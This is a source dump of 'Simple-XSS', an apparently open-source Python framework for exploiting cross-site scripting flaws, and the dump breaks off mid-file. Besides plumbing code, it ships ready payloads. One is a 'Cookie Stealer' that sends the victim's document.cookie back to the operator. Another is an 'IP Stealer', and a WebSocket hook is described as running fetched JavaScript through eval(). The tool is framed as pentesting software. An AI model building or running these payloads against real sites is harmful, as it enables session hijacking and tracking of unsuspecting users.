26 | [tool.poetry] 27 | name = "simple-xss" 28 | version = "0.0.3" 29 | description = "Simple-XSS is a multi-platform cross-site scripting (XSS) vulnerability exploitation tool for pentesting." 30 | authors = ["CrazyProger1 "] 31 | license = "MIT" 32 | readme = "README.md" 33 | 34 | packages = [ 35 | { include = "simplexss" }, 36 | ] 37 | 38 | [tool.poetry.dependencies] 39 | python = "^3.12" 40 | pydantic = "^2.6.4" 41 | translatable-enums = "^0.0.3" 42 | pytest = "^8.1.1" 43 | toml = "^0.10.2" 44 | pyngrok = "^7.1.5" 45 | flet = "^0.21.2" 46 | pyperclip = "^1.8.2" 47 | websockets = "^12.0" 48 | 49 | [tool.poetry.group.dev.dependencies] 50 | ruff = "^0.3.3" 51 | mypy = "^1.9.0" 52 | pytest = "^8.1.1" 53 | pytest-asyncio = "^0.23.6" 54 | 55 | [build-system] 56 | requires = ["poetry-core"] 57 | build-backend = "poetry.core.masonry.api" 58 | -------------------------------------------------------------------------------- /requirements/linux.txt: -------------------------------------------------------------------------------- 1 | pydantic 2 | translatable-enums 3 | pytest 4 | toml 5 | pyngrok 6 | flet 7 | pyperclip -------------------------------------------------------------------------------- /requirements/windows.txt: -------------------------------------------------------------------------------- 1 | pydantic 2 | translatable-enums 3 | pytest 4 | toml 5 | pyngrok 6 | flet 7 | pyperclip 8 | -------------------------------------------------------------------------------- /resources/hooks/http-eval/hook.py: -------------------------------------------------------------------------------- 1 | from simplexss.api.hooks import BaseHook 2 | 3 | 4 | class Hook(BaseHook): 5 | AUTHOR = 'crazyproger1' 6 | DESCRIPTION = 'HTTP Eval hook. ' 7 | NAME = 'HTTP Eval Hook' 8 | VERSION = '0.0.1' 9 | TRANSPORTS = ( 10 | 'Default HTTP Transport', 11 | ) 12 | 13 | @property 14 | def hook(self) -> str: 15 | return f'' 16 | -------------------------------------------------------------------------------- /resources/hooks/http/hook.py: -------------------------------------------------------------------------------- 1 | from simplexss.api.hooks import BaseHook 2 | 3 | 4 | class Hook(BaseHook): 5 | AUTHOR = 'crazyproger1' 6 | DESCRIPTION = 'Default HTTP hook, uses script src.' 7 | NAME = 'Default HTTP Hook' 8 | VERSION = '0.0.1' 9 | TRANSPORTS = ( 10 | 'Default HTTP Transport', 11 | ) 12 | 13 | @property 14 | def hook(self) -> str: 15 | return f'' 16 | -------------------------------------------------------------------------------- /resources/hooks/websocket/hook.py: -------------------------------------------------------------------------------- 1 | from simplexss.api.hooks import BaseHook 2 | 3 | 4 | class Hook(BaseHook): 5 | AUTHOR = 'crazyproger1' 6 | DESCRIPTION = 'Default Websocket hook. Loads payload js via WebSockets and executes in eval().' 7 | NAME = 'Default Websocket Hook' 8 | VERSION = '0.1' 9 | TRANSPORTS = ( 10 | 'Default Websocket Transport', 11 | ) 12 | 13 | @property 14 | def hook(self) -> str: 15 | return f"" 16 | -------------------------------------------------------------------------------- /resources/images/logo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/logo.ico -------------------------------------------------------------------------------- /resources/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/logo.png -------------------------------------------------------------------------------- /resources/images/service1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/service1.png -------------------------------------------------------------------------------- /resources/images/service2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/service2.png -------------------------------------------------------------------------------- /resources/images/tutor1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor1.png -------------------------------------------------------------------------------- /resources/images/tutor10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor10.png -------------------------------------------------------------------------------- /resources/images/tutor11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor11.png -------------------------------------------------------------------------------- /resources/images/tutor12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor12.png -------------------------------------------------------------------------------- /resources/images/tutor2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor2.png -------------------------------------------------------------------------------- /resources/images/tutor3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor3.png -------------------------------------------------------------------------------- /resources/images/tutor4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor4.png -------------------------------------------------------------------------------- /resources/images/tutor5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor5.png -------------------------------------------------------------------------------- /resources/images/tutor6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor6.png -------------------------------------------------------------------------------- /resources/images/tutor7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor7.png -------------------------------------------------------------------------------- /resources/images/tutor8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor8.png -------------------------------------------------------------------------------- /resources/images/tutor9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor9.png -------------------------------------------------------------------------------- /resources/images/v0.0.3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/v0.0.3.png -------------------------------------------------------------------------------- /resources/locales/en/LC_MESSAGES/simplexss.po: -------------------------------------------------------------------------------- 1 | msgid "" 2 | msgstr "" 3 | "Project-Id-Version: \n" 4 | "POT-Creation-Date: \n" 5 | "PO-Revision-Date: \n" 6 | "Last-Translator: \n" 7 | "Language-Team: \n" 8 | "Language: en\n" 9 | "MIME-Version: 1.0\n" 10 | "Content-Type: text/plain; charset=UTF-8\n" 11 | "Content-Transfer-Encoding: 8bit\n" 12 | "Plural-Forms: nplurals=2; plural=(n != 1);\n" 13 | "X-Generator: Poedit 3.2.2\n" 14 | 15 | msgid "Public URL" 16 | msgstr "Public URL" 17 | 18 | msgid "Port" 19 | msgstr "Port" 20 | 21 | msgid "Send" 22 | msgstr "Send" 23 | 24 | msgid "Message" 25 | msgstr "Message" 26 | 27 | msgid "Copy" 28 | msgstr "Copy" 29 | 30 | msgid "Host" 31 | msgstr "Host" 32 | 33 | msgid "Stop" 34 | msgstr "Stop" 35 | 36 | msgid "Run" 37 | msgstr "Run" 38 | 39 | msgid "Ok" 40 | msgstr "Ok" 41 | 42 | msgid "Network" 43 | msgstr "Network" 44 | 45 | msgid "Use Tunnelling Service" 46 | msgstr "Use Tunnelling Service" 47 | 48 | msgid "Payload" 49 | msgstr "Payload" 50 | 51 | msgid "Hook" 52 | msgstr "Hook" 53 | 54 | msgid "Process launched" 55 | msgstr "Process launched" 56 | 57 | msgid "Process terminated" 58 | msgstr "Process terminated" 59 | 60 | msgid "Current hook: {hook}" 61 | msgstr "Current hook: {hook}" 62 | -------------------------------------------------------------------------------- /resources/locales/uk/LC_MESSAGES/simplexss.po: -------------------------------------------------------------------------------- 1 | msgid "" 2 | msgstr "" 3 | "Project-Id-Version: \n" 4 | "POT-Creation-Date: \n" 5 | "PO-Revision-Date: \n" 6 | "Last-Translator: \n" 7 | "Language-Team: \n" 8 | "Language: uk\n" 9 | "MIME-Version: 1.0\n" 10 | "Content-Type: text/plain; charset=UTF-8\n" 11 | "Content-Transfer-Encoding: 8bit\n" 12 | "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" 13 | "X-Generator: Poedit 3.2.2\n" 14 | 15 | msgid "Public URL" 16 | msgstr "" 17 | 18 | msgid "Port" 19 | msgstr "Порт" 20 | 21 | msgid "Send" 22 | msgstr "Надіслати" 23 | 24 | msgid "Message" 25 | msgstr "Повідомлення" 26 | 27 | msgid "Copy" 28 | msgstr "Скопіювати" 29 | 30 | msgid "Host" 31 | msgstr "Хост" 32 | 33 | msgid "Stop" 34 | msgstr "Зупинити" 35 | 36 | msgid "Run" 37 | msgstr "Запустити" 38 | 39 | msgid "Ok" 40 | msgstr "Ок" 41 | 42 | msgid "Network" 43 | msgstr "Налаштування Мережі" 44 | 45 | msgid "Use Tunnelling Service" 46 | msgstr "Використовувати сервіс тунелювання" 47 | 48 | msgid "Payload" 49 | msgstr "Пейлоад" 50 | 51 | msgid "Hook" 52 | msgstr "Хук" 53 | 54 | msgid "Process launched" 55 | msgstr "Процес запущено" 56 | 57 | msgid "Process terminated" 58 | msgstr "Процес припинено" 59 | 60 | msgid "Current hook: {hook}" 61 | msgstr "Хук: {hook}" 62 | -------------------------------------------------------------------------------- /resources/payloads/alert/payload.js: -------------------------------------------------------------------------------- 1 | addListener('alert', (data) => alert(data.text)) 2 | 3 | -------------------------------------------------------------------------------- /resources/payloads/alert/payload.py: -------------------------------------------------------------------------------- 1 | from simplexss.api import ( 2 | BasePayload, 3 | BaseClient, 4 | BaseEvent, 5 | render 6 | ) 7 | 8 | 9 | class Payload(BasePayload): 10 | AUTHOR = 'crazyproger1' 11 | DESCRIPTION = 'Alerts your message when connection established.' 12 | NAME = 'Alert' 13 | VERSION = '0.0.1' 14 | 15 | async def on_connection(self, client: BaseClient, event: BaseEvent): 16 | await self.io.print(f'Connection established: {client.origin}') 17 | 18 | text = await self.io.input('Text') 19 | 20 | return { 21 | 'name': 'alert', 22 | 'data': { 23 | 'text': text 24 | } 25 | } 26 | 27 | def bind_endpoints(self): 28 | self.transport.bind_endpoint('connection', self.on_connection) 29 | 30 | @property 31 | def payload(self) -> str: 32 | return render(self.directory, 'payload.js', ) 33 | -------------------------------------------------------------------------------- /resources/payloads/cookies/payload.js: -------------------------------------------------------------------------------- 1 | sendEvent('cookies', {'cookies': document.cookie}) 2 | 3 | -------------------------------------------------------------------------------- /resources/payloads/cookies/payload.py: -------------------------------------------------------------------------------- 1 | from simplexss.api import ( 2 | BasePayload, 3 | BaseClient, 4 | BaseEvent, 5 | render 6 | ) 7 | 8 | 9 | class Payload(BasePayload): 10 | AUTHOR = 'crazyproger1' 11 | DESCRIPTION = 'Steals cookies.' 12 | NAME = 'Cookie Stealer' 13 | VERSION = '0.0.1' 14 | 15 | async def on_cookies(self, client: BaseClient, event: BaseEvent): 16 | await self.io.print(f'Cookies: {event.data.get("cookies")}') 17 | 18 | async def on_connection(self, client: BaseClient, event: BaseEvent): 19 | await self.io.print(f'Connection established: {client.origin}') 20 | 21 | def bind_endpoints(self): 22 | self.transport.bind_endpoint('connection', self.on_connection) 23 | self.transport.bind_endpoint('cookies', self.on_cookies) 24 | 25 | @property 26 | def payload(self) -> str: 27 | return render(self.directory, 'payload.js', ) 28 | -------------------------------------------------------------------------------- /resources/payloads/ip/payload.js: -------------------------------------------------------------------------------- 1 | fetch('https://api.ipify.org?format=json') 2 | .then(response => response.json()) 3 | .then(data => sendEvent('ip', {'ip': data.ip})); 4 | -------------------------------------------------------------------------------- /resources/payloads/ip/payload.py: -------------------------------------------------------------------------------- 1 | from simplexss.api import ( 2 | BasePayload, 3 | BaseClient, 4 | BaseEvent, 5 | render 6 | ) 7 | 8 | 9 | class Payload(BasePayload): 10 | AUTHOR = 'crazyproger1' 11 | DESCRIPTION = 'Steals IP.' 12 | NAME = 'IP Stealer' 13 | VERSION = '0.0.1' 14 | 15 | async def on_ip(self, client: BaseClient, event: BaseEvent): 16 | await self.io.print(f'IP: {event.data.get("ip", "unknown")}') 17 | 18 | async def on_connection(self, client: BaseClient, event: BaseEvent): 19 | await self.io.print(f'Connection established: {client.origin}') 20 | 21 | def bind_endpoints(self): 22 | self.transport.bind_endpoint('connection', self.on_connection) 23 | self.transport.bind_endpoint('ip', self.on_ip) 24 | 25 | @property 26 | def payload(self) -> str: 27 | return render(self.directory, 'payload.js', ) 28 | -------------------------------------------------------------------------------- /resources/plugins/settings/plugin.py: -------------------------------------------------------------------------------- 1 | from simplexss.api import ( 2 | BasePlugin, 3 | CoreChannel, 4 | CoreContainer 5 | ) 6 | 7 | from simplexss.utils.di import inject 8 | 9 | 10 | class Plugin(BasePlugin): 11 | NAME = 'Settings Loading Detector' 12 | 13 | def on_loaded(self, file: str): 14 | CoreChannel.settings_loaded.subscribe(self.on_settings_loaded) 15 | 16 | @inject 17 | def on_settings_loaded(self, settings=CoreContainer.settings): 18 | print(f'Settings loaded: {settings}') 19 | -------------------------------------------------------------------------------- /simplexss/__init__.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.ui import gui, cli 2 | -------------------------------------------------------------------------------- /simplexss/__main__.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | 3 | from i18n import ( 4 | set_language 5 | ) 6 | 7 | import simplexss.api 8 | from simplexss.core.logging import logger 9 | from simplexss.core.types import BaseCore 10 | from simplexss.core.utils import ( 11 | load_hooks, 12 | load_payloads, 13 | load_plugins 14 | ) 15 | from simplexss.core.channels import CoreChannel 16 | from simplexss.core.containers import CoreContainer 17 | from simplexss.core.arguments import parse_arguments 18 | 19 | from simplexss.core.settings import ( 20 | load_settings, 21 | save_settings 22 | ) 23 | from simplexss.utils.di import ( 24 | inject, 25 | setup 26 | ) 27 | 28 | 29 | @inject 30 | async def run_core(core: BaseCore = CoreContainer.core): 31 | await core.run() 32 | 33 | 34 | async def main(): 35 | logger.info('Application started') 36 | 37 | setup() 38 | logger.info(f'DI containers configured') 39 | 40 | load_plugins() 41 | 42 | await CoreChannel.plugins_loaded.publish_async() 43 | 44 | arguments = parse_arguments() 45 | CoreContainer.arguments.bind(arguments) 46 | await CoreChannel.arguments_loaded.publish_async() 47 | 48 | set_language(arguments.language) 49 | logger.info(f'Language set: {arguments.language}') 50 | 51 | settings = load_settings() 52 | CoreContainer.settings.bind(settings) 53 | await CoreChannel.settings_loaded.publish_async() 54 | 55 | load_hooks() 56 | 57 | await CoreChannel.hooks_loaded.publish_async() 58 | 59 | load_payloads() 60 | 61 | await CoreChannel.payloads_loaded.publish_async() 62 | 63 | await run_core() 64 | 65 | save_settings() 66 | 67 | logger.info('Application terminated') 68 | 69 | 70 | if __name__ == '__main__': 71 | asyncio.run(main()) 72 | -------------------------------------------------------------------------------- /simplexss/api/__init__.py: -------------------------------------------------------------------------------- 1 | from .di import * 2 | from .payloads import * 3 | from .hooks import * 4 | from .plugins import * 5 | from .events import * 6 | from .io import * 7 | from .transports import * 8 | -------------------------------------------------------------------------------- /simplexss/api/di.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.containers import ( 2 | CoreContainer, 3 | ) 4 | from simplexss.core.ui.gui.containers import ( 5 | GUIContainer, 6 | ) 7 | -------------------------------------------------------------------------------- /simplexss/api/events.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.channels import ( 2 | CoreChannel, 3 | ) 4 | from simplexss.core.ui.channels import ( 5 | UIChannel, 6 | ) 7 | 8 | -------------------------------------------------------------------------------- /simplexss/api/hooks.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.types import BaseHook 2 | 3 | -------------------------------------------------------------------------------- /simplexss/api/io.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.io import ( 2 | BaseIOManagerAPI, 3 | ) 4 | -------------------------------------------------------------------------------- /simplexss/api/payloads.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.types import BasePayload 2 | from simplexss.utils.jinja import render 3 | -------------------------------------------------------------------------------- /simplexss/api/plugins.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.types import BasePlugin 2 | 3 | -------------------------------------------------------------------------------- /simplexss/api/transports.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.transports import ( 2 | BaseTransportAPI, 3 | BaseEvent, 4 | BaseSession, 5 | BaseClient 6 | ) 7 | -------------------------------------------------------------------------------- /simplexss/core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/core/__init__.py -------------------------------------------------------------------------------- /simplexss/core/arguments.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.containers import CoreContainer 2 | from simplexss.utils.di import inject 3 | from simplexss.utils.arguments import BaseSchemedArgumentParser 4 | 5 | 6 | @inject 7 | def parse_arguments(parser: BaseSchemedArgumentParser = CoreContainer.arguments_parser, ): 8 | return parser.parse_schemed_args() 9 | -------------------------------------------------------------------------------- /simplexss/core/channels.py: -------------------------------------------------------------------------------- 1 | from simplexss.utils.events import ( 2 | EventChannel, 3 | AsyncEvent, 4 | Event 5 | ) 6 | 7 | 8 | class CoreChannel(EventChannel): 9 | plugins_loaded = AsyncEvent() 10 | hooks_loaded = AsyncEvent() 11 | payloads_loaded = AsyncEvent() 12 | arguments_loaded = AsyncEvent() 13 | settings_loaded = AsyncEvent() 14 | core_initialized = Event() 15 | core_terminated = AsyncEvent() 16 | -------------------------------------------------------------------------------- /simplexss/core/config.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | 4 | from i18n import set_domain 5 | 6 | from simplexss.core.enums import ( 7 | GraphicMode, 8 | ) 9 | 10 | RESOURCES_DIRECTORY = 'resources' 11 | 12 | # App 13 | DEBUG = True 14 | APP = 'Simple-XSS' 15 | VERSION = '0.3' 16 | ICON = 'resources/images/logo.ico' 17 | 18 | # Settings 19 | DEFAULT_SETTINGS_FILE = 'settings.toml' 20 | 21 | # Graphic 22 | DEFAULT_GRAPHIC_MODE = GraphicMode.GUI.value 23 | DEFAULT_THEME = 'dark' 24 | DEFAULT_RESOLUTION = (1280, 760) 25 | MIN_RESOLUTION = DEFAULT_RESOLUTION 26 | 27 | # Plugins 28 | PLUGINS_DIRECTORY = os.path.join(RESOURCES_DIRECTORY, 'plugins') 29 | PLUGIN_FILE = 'plugin.py' 30 | 31 | # Payloads 32 | PAYLOADS_DIRECTORY = os.path.join(RESOURCES_DIRECTORY, 'payloads') 33 | PAYLOAD_FILE = 'payload.py' 34 | 35 | # Hooks 36 | HOOKS_DIRECTORY = os.path.join(RESOURCES_DIRECTORY, 'hooks') 37 | HOOK_FILE = 'hook.py' 38 | 39 | # Logging 40 | LOGGING_VERBOSITY = True 41 | LOG_FILE = f'{APP}_{VERSION}.log' 42 | LOG_FILE_COMPRESSION = 'zip' 43 | LOGGING_LEVEL = logging.DEBUG if DEBUG else logging.INFO 44 | LOGGING_FORMAT = '%(levelname)s: %(name)s: %(message)s' 45 | 46 | # Network 47 | DEFAULT_HOST = 'localhost' 48 | DEFAULT_PORT = 4444 49 | DEFAULT_TRANSPORT = 'http' 50 | DEFAULT_TUNNELING_SERVICE = 'serveo' 51 | 52 | # i18n 53 | DOMAIN = 'simplexss' 54 | LOCALES_DIRECTORY = os.path.join(RESOURCES_DIRECTORY, 'locales') 55 | DEFAULT_LANGUAGE = 'en' 56 | set_domain(DOMAIN, LOCALES_DIRECTORY) 57 | -------------------------------------------------------------------------------- /simplexss/core/containers.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.ui.contexts import UIContext 2 | from simplexss.utils.packages import PackageManager 3 | from simplexss.core.tunneling import TunnelingServiceFactory 4 | from simplexss.core.transports import TransportServiceFactory 5 | from simplexss.core.ui import UIFactory 6 | from simplexss.core.io import IOManagerAPI 7 | from simplexss.core.process import SimpleXSSProcessor 8 | from simplexss.utils.di import ( 9 | containers, 10 | dependencies 11 | ) 12 | from simplexss.utils.arguments import ( 13 | SchemedArgumentParser 14 | ) 15 | from simplexss.utils.settings.toml import ( 16 | TOMLLoader, 17 | ) 18 | from simplexss.core.core import Core 19 | from simplexss.core.schemas import ( 20 | ArgumentsSchema, 21 | SettingsSchema 22 | ) 23 | from simplexss.core.types import ( 24 | BaseHook, 25 | BasePlugin, 26 | BasePayload 27 | ) 28 | 29 | 30 | class CoreContainer(containers.Container): 31 | arguments_schema = dependencies.Dependency(ArgumentsSchema) 32 | settings_schema = dependencies.Dependency(SettingsSchema) 33 | 34 | arguments_parser = dependencies.Factory(SchemedArgumentParser, kwargs={'schema': arguments_schema}) 35 | settings_loader = dependencies.Factory(TOMLLoader) 36 | 37 | arguments = dependencies.Dependency() 38 | settings = dependencies.Dependency() 39 | 40 | plugin_class = dependencies.Dependency(BasePlugin) 41 | plugin_manager = dependencies.Singleton(PackageManager) 42 | 43 | hook_class = dependencies.Dependency(BaseHook) 44 | hook_manager = dependencies.Singleton(PackageManager) 45 | 46 | payload_class = dependencies.Dependency(BasePayload) 47 | payload_manager = dependencies.Singleton(PackageManager) 48 | 49 | ui_factory = dependencies.Factory(UIFactory) 50 | 51 | tunneling_service_factory = dependencies.Factory(TunnelingServiceFactory) 52 | transport_service_factory = dependencies.Factory(TransportServiceFactory) 53 | 54 | io_manager = dependencies.Singleton(IOManagerAPI) 55 | 56 | ui_context = dependencies.Singleton( 57 | UIContext, 58 | kwargs={ 59 | 'settings': settings, 60 | 'arguments': arguments 61 | } 62 | ) 63 | 64 | processor = dependencies.Factory( 65 | SimpleXSSProcessor, 66 | kwargs={ 67 | 'arguments': arguments, 68 | 'settings': settings, 69 | 'transport_factory': transport_service_factory, 70 | 'tunneling_factory': tunneling_service_factory, 71 | 'hook_manager': hook_manager, 72 | 'payload_manager': payload_manager, 73 | 'io_manager': io_manager, 74 | 'ui_context': ui_context 75 | } 76 | ) 77 | 78 | core = dependencies.Singleton( 79 | Core, 80 | kwargs={ 81 | 'arguments': arguments, 82 | 'settings': settings, 83 | 'ui_factory': ui_factory, 84 | 'processor': processor 85 | } 86 | ) 87 | -------------------------------------------------------------------------------- /simplexss/core/core.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.ui.channels import UIChannel 2 | from simplexss.core.channels import CoreChannel 3 | from simplexss.core.logging import logger 4 | from simplexss.core.process import BaseProcessor 5 | from simplexss.core.process.channels import ProcessorChannel 6 | from simplexss.core.schemas import ( 7 | ArgumentsSchema, 8 | SettingsSchema 9 | ) 10 | from simplexss.core.ui import ( 11 | BaseUIFactory, 12 | BaseUI 13 | ) 14 | from simplexss.core.types import ( 15 | BaseCore, 16 | ) 17 | 18 | 19 | class Core(BaseCore): 20 | def __init__( 21 | self, 22 | arguments: ArgumentsSchema, 23 | settings: SettingsSchema, 24 | ui_factory: BaseUIFactory, 25 | processor: BaseProcessor, 26 | ): 27 | from simplexss.core.ui import gui, cli 28 | 29 | self._arguments = arguments 30 | self._settings = settings 31 | self._ui: BaseUI = ui_factory.create(self._arguments.graphic_mode) 32 | self._processor = processor 33 | 34 | CoreChannel.core_initialized.publish() 35 | logger.info('Core initialized') 36 | 37 | UIChannel.process_launched.subscribe(self._run_process) 38 | UIChannel.process_terminated.subscribe(self._stop_process) 39 | ProcessorChannel.error_occurred.subscribe(self._handle_error) 40 | ProcessorChannel.process_launched.subscribe(self._handle_launched) 41 | 42 | async def _handle_error(self, error: str): 43 | await UIChannel.show_error.publish_async(error=error) 44 | 45 | async def _handle_launched(self): 46 | await self._ui.update() 47 | 48 | async def _run_process(self): 49 | await self._processor.run() 50 | 51 | async def _stop_process(self): 52 | await self._processor.stop() 53 | 54 | async def run(self): 55 | await self._ui.run() 56 | 57 | await CoreChannel.core_terminated.publish_async() 58 | logger.info('Core terminated') 59 | -------------------------------------------------------------------------------- /simplexss/core/data/__init__.py: -------------------------------------------------------------------------------- 1 | from .environments import ( 2 | Environment, 3 | ) 4 | 5 | __all__ = [ 6 | 'Environment', 7 | ] 8 | -------------------------------------------------------------------------------- /simplexss/core/data/environments.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | 3 | from simplexss.core.schemas import ( 4 | SettingsSchema, 5 | ArgumentsSchema, 6 | ) 7 | 8 | 9 | @dataclass 10 | class Environment: 11 | url: str = None 12 | settings: SettingsSchema = None 13 | arguments: ArgumentsSchema = None 14 | -------------------------------------------------------------------------------- /simplexss/core/enums/__init__.py: -------------------------------------------------------------------------------- 1 | from .graphic import GraphicMode 2 | 3 | __all__ = [ 4 | 'GraphicMode', 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/core/enums/graphic.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | 4 | class GraphicMode(str, Enum): 5 | GUI = 'gui' 6 | -------------------------------------------------------------------------------- /simplexss/core/io/__init__.py: -------------------------------------------------------------------------------- 1 | from .types import ( 2 | BaseIOManagerAPI, 3 | Color 4 | ) 5 | 6 | from .api import IOManagerAPI 7 | 8 | __all__ = [ 9 | 'BaseIOManagerAPI', 10 | 'IOManagerAPI', 11 | 'Color', 12 | ] 13 | -------------------------------------------------------------------------------- /simplexss/core/io/api.py: -------------------------------------------------------------------------------- 1 | from .types import ( 2 | BaseIOManagerAPI, 3 | Source, 4 | Sink, 5 | Color 6 | ) 7 | from .logging import logger 8 | 9 | 10 | class IOManagerAPI(BaseIOManagerAPI): 11 | def __init__(self): 12 | self._sinks: list[Sink] = [] 13 | self._source: Source | None = None 14 | 15 | async def print(self, *args, color: Color | str = Color.DEFAULT, sep: str = ' ', end: str = '\n'): 16 | seq = sep.join(map(str, args)) + end 17 | logger.debug(f'apicall: print called: {seq}') 18 | 19 | for sink in self._sinks: 20 | return await sink(seq, color) 21 | 22 | async def input(self, prompt: str, /, *, color: Color | str = Color.DEFAULT): 23 | logger.debug(f'apicall: input called: {prompt}') 24 | 25 | assert self._source is not None, 'Source not set' 26 | return await self._source(prompt, color) 27 | 28 | def add_sink(self, sink: Sink): 29 | if not callable(sink): 30 | raise TypeError('Sink must be callable') 31 | self._sinks += [sink] 32 | 33 | def set_source(self, source: Source): 34 | if not callable(source): 35 | raise TypeError('Source must be callable') 36 | self._source = source 37 | -------------------------------------------------------------------------------- /simplexss/core/io/logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from simplexss.core.config import APP 4 | 5 | logger = logging.getLogger(f'{APP}: io') 6 | -------------------------------------------------------------------------------- /simplexss/core/io/types.py: -------------------------------------------------------------------------------- 1 | from abc import ABC, abstractmethod 2 | from enum import Enum 3 | from typing import Callable, Coroutine 4 | 5 | type Sink = Callable[[str, Color], Coroutine] 6 | type Source = Callable[[str, Color], Coroutine] 7 | 8 | 9 | class Color(str, Enum): 10 | RED = 'red' 11 | GREEN = 'green' 12 | BLUE = 'blue' 13 | DEFAULT = 'default' 14 | 15 | 16 | class BaseIOManagerAPI(ABC): 17 | @abstractmethod 18 | async def print(self, *args, color: Color | str = Color.DEFAULT, sep: str = ' ', end: str = '\n'): ... 19 | 20 | @abstractmethod 21 | async def input(self, prompt: str, /, *, color: Color | str = Color.DEFAULT): ... 22 | 23 | @abstractmethod 24 | def add_sink(self, sink: Sink): ... 25 | 26 | @abstractmethod 27 | def set_source(self, source: Source): ... 28 | -------------------------------------------------------------------------------- /simplexss/core/logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from simplexss.core.config import ( 4 | APP, 5 | DEBUG, 6 | LOGGING_LEVEL, 7 | LOGGING_FORMAT 8 | ) 9 | 10 | logging.basicConfig( 11 | level=LOGGING_LEVEL, 12 | filename=f'{APP}.log', 13 | filemode='w', 14 | format=LOGGING_FORMAT 15 | ) 16 | logger = logging.getLogger(APP) 17 | -------------------------------------------------------------------------------- /simplexss/core/process/__init__.py: -------------------------------------------------------------------------------- 1 | from .types import BaseProcessor 2 | from .processors import SimpleXSSProcessor 3 | 4 | __all__ = [ 5 | 'BaseProcessor', 6 | 'SimpleXSSProcessor', 7 | ] 8 | -------------------------------------------------------------------------------- /simplexss/core/process/channels.py: -------------------------------------------------------------------------------- 1 | from simplexss.utils.events import ( 2 | EventChannel, 3 | AsyncEvent, 4 | ) 5 | 6 | 7 | class ProcessorChannel(EventChannel): 8 | error_occurred = AsyncEvent(required_kwargs=('error',)) 9 | 10 | process_launched = AsyncEvent() 11 | process_terminated = AsyncEvent() 12 | -------------------------------------------------------------------------------- /simplexss/core/process/enums.py: -------------------------------------------------------------------------------- 1 | from i18n import TranslatableEnum 2 | 3 | 4 | class Messages(TranslatableEnum): 5 | PROCESS_LAUNCHED = 'Process launched' 6 | PROCESS_TERMINATED = 'Process terminated' 7 | CURRENT_HOOK = 'Current hook: {hook}' 8 | -------------------------------------------------------------------------------- /simplexss/core/process/logging.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from simplexss.core.config import APP 4 | 5 | logger = logging.getLogger(APP) 6 | -------------------------------------------------------------------------------- /simplexss/core/process/processors.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.data import Environment 2 | from simplexss.core.io import BaseIOManagerAPI 3 | from simplexss.core.transports import ( 4 | TransportServiceFactory, 5 | BaseTransportService, 6 | 